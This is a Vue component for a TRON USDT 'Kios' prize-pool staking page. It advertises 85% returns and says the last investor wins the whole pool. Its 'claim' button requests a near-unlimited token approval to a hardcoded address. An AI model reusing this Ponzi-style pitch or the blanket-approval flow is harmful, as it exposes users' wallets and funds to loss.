<template>
<div class="kios">
    <div class="banner">
        <span class="money-title">Kios奖池总额</span>
        <span class="money">{{amount}} USDT</span>
        <span class="money-btn circle-btn" @click="getPayTokenFromD">直接领取</span>
    </div>
    <div class="con">
        <div class="card-item-wrap">
            <div class="card-item" v-for="(item, i) in cardList" :key="i">
                <img class="card-img" :src="item.imgPath" alt="">
                <span>{{item.title}}</span>
            </div>
        </div>
        <div class="con-item-wrap">
            <!-- step1 -->
            <div class="con-item">
                <span class="step-img-wrap">
                    <img class="step-img" src="../../assets/images/step-circle.png" alt="">
                    <img class="step-num" src="../../assets/images/1.png" alt="">
                </span>
                <span class="con-title">购买Kis</span>
                <el-input v-model="value1" clearable placeholder="请输入购买Kis的数量" oninput="this.value=this.value.replace(/[^\d]/g,'')" onafterpaste="this.value=this.value.replace(/[^\d]/g,'')"></el-input>
                <span class="buy-tips">x 100 = {{value1 * 100}}</span>
                <div class="list-item-wrap">
                    <p>
                        <span class="dot">.</span>
                        一个Kis=100USDT
                    </p>
                    <p>
                        <span class="dot">.</span>
                        请使用TRC-20的USDT进行支付
                    </p>
                </div>
                <div class="edit-btn">
                    <span class="circle-btn give-right">授权</span>
                    <span class="circle-btn give-right buy-btn">
                        购买<img src="../../assets/images/buy.png" alt="">
                    </span>
                </div>
                <div class="con-item-foot">
                    <el-popover placement="top" title="" width="200" trigger="hover" content="TRC-20 USDT购买 Kis，1Kis = 100U，Kis销售额的10%会进入Kios奖金池">
                        <span slot="reference">查看规则</span>
                    </el-popover>
                    <a class="address-link" href="##">合约地址</a>
                </div>
            </div>
            <!-- step2 -->
            <div class="con-item">
                <span class="step-img-wrap">
                    <img class="step-img" src="../../assets/images/step-circle.png" alt="">
                    <img class="step-num" src="../../assets/images/2.png" alt="">
                </span>
                <span class="con-title">Kis-Kit挖矿</span>
                <el-input v-model="value2" clearable placeholder="请输入Kis挖矿数量" oninput="this.value=this.value.replace(/[^\d]/g,'')" onafterpaste="this.value=this.value.replace(/[^\d]/g,'')"></el-input>
                <div class="btns-box">
                    <el-button>授权</el-button>
                    <el-button>存入挖矿</el-button>
                </div>
                <div class="list-item-wrap">
                    <p>
                        <span class="dot">.</span>
                        <span>Kis可用数量：</span>
                        <span class="num">0</span>
                    </p>
                    <p>
                        <span class="dot">.</span>
                        <span>Kis正在挖矿数量：</span>
                        <span class="num">0</span>
                    </p>
                    <p>
                        <span class="dot">.</span>
                        <span>Kit可提取数量：</span>
                        <span class="num">0</span>
                    </p>
                </div>
                <div class="edit-btn edit-btn-2">
                    <span class="circle-btn give-right buy-btn kit-btn">
                        Kit提取<img src="../../assets/images/upload.png" alt="">
                    </span>
                </div>
                <div class="con-item-foot">
                    <el-popover placement="top" title="" width="200" trigger="hover" content="存入Kis-Kit矿池中进行挖矿，1个Kis存入120h可获得1个Kit，Kis不可提出">
                        <span slot="reference">查看规则</span>
                    </el-popover>
                    <a class="address-link" href="##">合约地址</a>
                </div>
            </div>
            <!-- step3 -->
            <div class="con-item">
                <span class="step-img-wrap">
                    <img class="step-img" src="../../assets/images/step-circle.png" alt="">
                    <img class="step-num" src="../../assets/images/3.png" alt="">
                </span>
                <span class="con-title">Kit-Kio挖矿</span>
                <el-input v-model="value3" clearable placeholder="请输入Kit挖矿数量" oninput="this.value=this.value.replace(/[^\d]/g,'')" onafterpaste="this.value=this.value.replace(/[^\d]/g,'')"></el-input>
                <div class="btns-box">
                    <el-button>授权</el-button>
                    <el-button>存入挖矿</el-button>
                </div>
                <div class="list-item-wrap">
                    <p>
                        <span class="dot">.</span>
                        <span>Kit可用数量：</span>
                        <span class="num">0</span>
                    </p>
                    <p>
                        <span class="dot">.</span>
                        <span>Kit正在挖矿数量：</span>
                        <span class="num">0</span>
                    </p>
                    <p>
                        <span class="dot">.</span>
                        <span>Kio可提取数量：</span>
                        <span class="num">0</span>
                    </p>
                </div>
                <div class="edit-btn">
                    <span class="circle-btn give-right buy-btn kit-btn kit-btn-2">
                        Kit提取<img src="../../assets/images/upload.png" alt="">
                    </span>
                    <span class="circle-btn give-right buy-btn kit-btn kit-btn-2">
                        Kio提取<img src="../../assets/images/upload.png" alt="">
                    </span>
                </div>
                <div class="con-item-foot">
                    <el-popover placement="top" title="" width="200" trigger="hover" content="Kit提币转存至Kit-Kio矿池，5个Kit存入120h可获得一个Kio，Kit可提出">
                        <span slot="reference">查看规则</span>
                    </el-popover>
                    <a class="address-link" href="##">合约地址</a>
                </div>
            </div>
            <!-- step4 -->
            <div class="con-item">
                <span class="step-img-wrap">
                    <img class="step-img" src="../../assets/images/step-circle.png" alt="">
                    <img class="step-num" src="../../assets/images/4.png" alt="">
                </span>
                <span class="con-title">Kio兑奖</span>
                <span class="usdt">
                    <span class="usdt-money">{{amount}}</span>
                    <span class="unit">USDT</span>
                </span>
                <span class="usdt-tips">1个Kio可领</span>
                <div class="list-item-wrap">
                    <p class="my-list-p">
                        <span class="dot">.</span>
                        <span>Kio可用数量：</span>
                        <span class="num">0</span>
                    </p>
                </div>
                <div class="edit-btn">
                    <span class="circle-btn give-right">授权</span>
                    <span class="circle-btn give-right buy-btn">
                        购买<img src="../../assets/images/cup2.png" alt="">
                    </span>
                </div>
                <div class="con-item-foot">
                    <el-popover placement="top" title="" width="200" trigger="hover" content="一个Kio可换取Kios奖金池总量的1%，每次只能兑换1个">
                        <span slot="reference">查看规则</span>
                    </el-popover>
                    <a class="address-link" href="##">合约地址</a>
                </div>
            </div>
        </div>
    </div>
</div>
</template>

<script>
import { mapGetters } from 'vuex'
export default {
    name: 'Kios',
    data () {
        return {
            amount: 0,
            cardList: [{
                    title: '返现比例高达85%',
                    imgPath: require('../../assets/images/money.png')
                },
                {
                    title: '一次投资永远受益',
                    imgPath: require('../../assets/images/up.png')
                },
                {
                    title: '最后一个投资用户可获得全部奖池',
                    imgPath: require('../../assets/images/cup.png')
                }
            ],
            value1: '',
            value2: '',
            value3: ''
        }
    },
    computed: {
        ...mapGetters(['getInstence', 'contractAddress', 'userAddress'])
    },
    watch: {
        getInstence () {
            this.gettokenUserAmountOf()
        }
    },
    methods: {
        confirmGetPayTokenFromD () {
            this.getInstence.GetPayTokenFromD(true).send({
                feeLimit: 100000000,
                callValue: window.tronWeb.toSun(this.amount) || 0,
                shouldPollResponse: true
            }).then(res => {
                console.warn('9999', res)
            })
        },
        getPayTokenFromD () {
            const AToken = 'TBsijassqi8cEhL68hwne5UZo5hfqR19Ur'
            this.getInstence.allowance(this.userAddress, AToken).call().then(res => {
                if (!window.tronWeb.toBigNumber(res._hex).toNumber()) {
                    const amountMaxVal = '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe'
                    this.getInstence.approve(AToken, amountMaxVal).send().then(res => {
                        console.warn('res', res)
                        this.confirmGetPayTokenFromD()
                    })
                }
            })
        },
        gettokenUserAmountOf () {
            this.getInstence.PayToken().call().then(payToken => {
                if (payToken) {
                    this.getInstence.tokenUserAmountOf(payToken, this.userAddress).call().then(res => {
                        this.amount = window.tronWeb.toBigNumber(res._hex).toString()
                    })
                }
            })
        }
    }
}
</script>

<style lang="less">
.kios {
    height: 100%;

    .my-list-p {
        position: relative;
        top: -24px;
    }

    .usdt {
        .usdt-money {
            font-size: 24px;
            color: #f9305b;
        }

        .unit {
            font-size: 18px;
            color: #f9305b;
            padding-left: 3px;
        }
    }

    .usdt-tips {
        color: #6439f3;
        font-size: 14px;
        padding-top: 15px;
        padding-bottom: 63px;
    }

    .buy-tips {
        padding: 20px 0;
        font-weight: 700;
        font-size: 20px;
        padding-bottom: 30px;
    }

    .list-item-wrap {
        padding: 20px 0;
        width: 100%;

        p {
            line-height: 24px;
            font-size: 12px;
            color: #999;
            position: relative;
            padding-left: 15px;
            display: flex;
            justify-content: space-between;
        }

        .dot {
            position: absolute;
            font-size: 40px;
            left: 0;
            top: -12px;
            color: red;
        }

        .num {
            color: #6439f3;
        }
    }

    .con-item-foot {
        width: 100%;
        display: flex;
        justify-content: space-around;

        a, span {
            cursor: pointer;
            color: #999;
            font-size: 12px;
            padding: 10px 0;
            text-decoration: none;
        }
    }

    .btns-box {
        display: flex;
        padding: 10px 0;

        .el-button {
            width: 100px;
        }
    }

    .edit-btn {
        font-size: 12px;
        display: flex;
        padding: 20px 0;
        justify-content: space-between;
        width: 100%;
    }

    .edit-btn-2 {
        justify-content: center;
    }

    .give-right {
        background: #6439f3;
        font-size: 14px;
        width: 80px;
        height: 30px;
        line-height: 30px;
        color: #fff;
        font-size: 12px;
    }

    .buy-btn {
        background: #fcba46;
        width: 100px;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 12px;

        img {
            width: 24px !important;
            background: #ff9000;
            border-radius: 50%;
            overflow: hidden;
            padding: 5px;
            position: relative;
            right: -20px;
        }
    }

    .kit-btn {
        background: #6439f3;
        width: 150px;
        font-size: 12px;

        img {
            background: #2c00c0;
            right: -37px;
        }
    }

    .kit-btn-2 {
        width: 100px;

        img {
            right: -15px;
        }
    }

    .con-title {
        font-weight: 700;
        font-size: 16px;
        color: #333;
        margin-top: 10px;
        margin-bottom: 30px;
    }

    .step-img-wrap {
        width: 45px;
        height: 45px;
        position: relative;
        display: flex;
        align-items: center;
        justify-content: center;

        .step-img {
            position: absolute;
            width: 45px;
            height: 45px;
        }

        .step-num {
            position: absolute;
            width: 16px;
            height: 20px;
        }

    }

    .circle-btn {
        cursor: pointer;
        text-align: center;
        overflow: hidden;
        border-radius: 30px;
    }

    .banner {
        height: 300px;
        background: url('../../assets/images/banner-bg.png') no-repeat center;
        background-size: cover;
        display: flex;
        align-items: center;
        flex-direction: column;
        color: #fff;

        .money-title {
            margin-top: 40px;
            margin-bottom: 10px;
        }

        .money {
            margin-bottom: 10px;
            padding-top: 40px;
            font-size: 48px;
            color: #ffce01;
        }

        .money-btn {
            width: 200px;
            height: 35px;
            line-height: 35px;
            font-size: 16px;
            background: #fcba46;
        }
    }

    .con {
        padding: 0 10%;

        .card-item-wrap {
            position: relative;
            top: -50px;
            display: flex;
            justify-content: center;

            .card-img {
                background: #6439f3;
                border-radius: 4px;
                overflow: hidden;
                width: 55px;
                height: 55px;
                padding: 10px;
            }

            .card-item {
                margin: 0 5px;
                background: #fff;
                width: 310px;
                height: 200px;
                border-radius: 4px;
                display: flex;
                flex-direction: column;
                justify-content: space-around;
                align-items: center;
                border-bottom: 4px solid #6439f3;
                padding: 40px 0;
            }
        }

        .con-item-wrap {
            display: flex;
            justify-content: center;
            padding-bottom: 55px;

            .con-item {
                margin: 0 5px;
                height: 452px;
                padding: 20px;
                width: 250px;
                background-color: #ffffff;
                box-shadow: 0px 5px 30px 0px rgba(51, 51, 51, 0.1);
                border-radius: 6px;
                display: flex;
                flex-direction: column;
                align-items: center;
            }
        }
    }
}
</style>
